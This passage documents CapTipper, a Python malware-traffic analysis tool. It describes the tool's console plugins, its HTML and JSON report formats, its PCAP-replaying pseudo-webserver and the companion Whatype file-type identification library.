                # Create Parser instance and search for <script src="...
                parser = srcHTMLParser("script")
                parser.feed(response_body)

                # Prints results
                parser.print_objects()
            else:
                print "Invalid conversation ID {}".format(str(id))
        else:
            return "No arguments given"

Example #2

The following plugin checks if the host involved in a given conversation is still alive, using a socket object and the conversations stored IP and Port.

import socket

from CTPlugin import ConsolePlugin

class check_host(ConsolePlugin):

    description = "Checks if a given id's host is alive"
    author = "omriher"

    def run(self, args):
        if len(args) > 0:
            # Gets the conversation ID
            id = int(args[0])

            # Check if id number is a valid conversation
            if self.is_valid_id(id):

                # Get necessary information
                host = self.conversations[id].host
                ip, port = self.conversations[id].server_ip_port.split(":")

                # Logging
                print "Checking host {}".format(host)
                print "IP:PORT = {}:{}".format(ip,port)

                # Establishing connection
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    s.connect((ip, int(port)))
                    result = "[+] Server is alive !"
                except:
                    result = "[-] Server is dead"
                s.close()

                return result
            else:
                print "Invalid conversation ID {}".format(str(id))
        else:
            return "No arguments given"

Reporting

CapTipper supports producing HTML reports for convenient view and sharing, and JSON report for post-analysis information gathering by a third party.

An example HTML report of the Nuclear Exploit Kit PCAP we analyzed in the first blog post, can be found here: CapTipper HTML Nuclear Report. The HTML report includes full flow details, client information, interesting binary data and more…

The report is expected to expand and include more information along with the development of CapTippers new abilities.

HTML Report screenshots:

JSON report

The JSON file is made of 4 main parts:

  • Browsing Flow
  • PCAP Metadata
  • Client information
  • Conversations

Browsing Flow contains every redirection made to each page or file, this is later displayed visually in the HTML report. It is saved under the key flow:

"flow": {
        "hosts": {
            "name": "Client", // First Node
            "children": [
                {
                    // Recursive structure of "name" and "children"
                    ...
                }
            ]
        },
        "size": <graph height for HTML page>
}

PCAP Metadata is saved under the key info:

"info": {
    "pcap_file": <pcap file path>,
    "analysis_time": <time of analysis>,
    "captipper_version": <CapTipper Version>,
    "traffic_time": <Time of first packet>
}

Client information contains information collected on the client such as: IP, MAC, USER-AGENT and more interesting data if sent (such as: X-FLASH-VERSION). it is saved under the key client:

"client": {
    "IP": <IP>,
    "MAC": <MAC>,
    "USER-AGENT": <User-Agent>
}

Coversations are stored under the key conversations:

"conversations": [
        {
            "name": <host domain name>,
            "ip": <IP:Port>,
            "uris": [ // List of all URIs
                {
                    "id": <conversation id>,
                    "uri": <URI>,
                    "short_uri": <Short representation of the URI>,
                    "req_head": <Request>
                    "res_body": <Response body>,
                    "res_base64": <Response in Base64>,
                    "respeek": <256 bytes of the Response>,
                    "magic_name": <File type>,
                    "magic_ext": <File extension>,
                    "res_head": <Response Header>,
                    "res_num": <Response Number>,
                    "res_type": <Response Content type>,
                    "referer": <referrer>,
                    "filename": <File name>,
                    "method": <Request Method>,
                    "epochtime": <Date Time>,
                    "res_len": <Response size>,
                    "md5": <MD5>,
                    "sha256": <SHA256>
                }
            ]
            ...

HTML report

Every HTML report is based on the CapTipperTemplate.html stored in the jsontemplate\ directory. In order to be able to display the report while offline - the HTML stores the content of bootstrap.js, jquery.js, bootstrap.css and part of d3.js.

The browsing flow graph is created using the d3 library and displayed from left to right.

The HTML report is a bootstrap based page containing all 4 information blocks from the JSON file.

The page shows all the conversations in each domain, where suspicious URIs colored Yellow, and Executables colored Red.

Each conversation is expandable and displays all the data relevant to that conversation.

All of the conversations response body are stored in the HTML as well in a Base64 form (does not alarm AntiViruses). each conversation has a Download button which allows the extraction of the file from the HTML into the file system.

Webserver

CapTipper launches a local pseudo-webserver listening on all interfaces (0.0.0.0) and behaves exactly like the web server(s) involved in the PCAP file.

The server is not a real web server and doesnt use any python webserver libraries. Instead, it uses the SocketServer library and the request parsing and responses are made using raw socket.

The reason for that, is because I didn’t want the files included in the PCAP to be stored on the file system in order to avoid from endangering the researchers machine in case the tool is used on a working station. In this way, there is also no concern for any AntiViruses to pop up while messing with the files since they are only stored in CapTippers memory datasets (Described in Core).

The default webserver configurations can be found in CTCore.py in the following variables:

HOST = "0.0.0.0"
PORT = 80

The port can be changed using the -p argument when launching CapTipper.

In case the webserver could not have been launched due to any reason (Port in use, Permission denied, etc...), an error will be displayed and the console will be prompted normally.

Every request to the webserver is logged to CTCore.request_logs list object and is viewable at any time using the command log from CapTippers console.

The structure of each conversation url is as such:

http://<captipper_server>/<host>/<uri>

for example:

http://localhost/example.com/index.html

Whatype

Whatype is an independent file type identification python library. File Type Identification provides “magic”-like analysis of a file’s content to determine its true payload.

After spending some time trying to find a file identification library that suits CapTipper’s needs (cross-platform, cross-environment, accepts file stream, and does not require too much dependencies), I came up short and decided to write one myself. Whatype was originally developed for CapTipper but is also an independent library and can be found on GitHub.

The magic bytes signatures are stored in magics.csv, with the format of:

File Description, Magic bytes (Offset 0), Extenstion, Obligatory strings

My initial goal was only to use it as part of CapTipper, so currently it supports ~50 of the most common and relevant file formats: Executables, PDF, JAVA, SWF, Silverlight, HTML, ZIP, and more…

Installation

setup.py install

Usage

Load Whatype library

from whatype import Whatype
WTlib = Whatype() # Uses default magics.csv shipped with the library

Identify file from FileSystem

print WTlib.identify_file("file.ext")

Identify file from Buffer

with open("file.ext",'rb') as f:
  data = f.read()
print WTlib.identify_buffer(data)

Results returns in the form of a tuple:

(File Description, File Extenstion)

Example

>>> from whatype import Whatype
>>> WTlib = Whatype()
>>> WTlib.identify_file("C:\\BinaryFile.exe")
('Windows executable file', 'EXE')

>>> with open(r"C:\\java-archive.jar",'rb') as f:
...     cont = f.read()
...
>>> WTlib.identify_buffer(cont)
('Java archive', 'JAR')

I would like to invite the open-source community to contribute to the Whatype project (currently in beta release phase) and help create a broader and more accurate signature base, improve the identification performance and hopefully help serve other developers that encounter the same problem.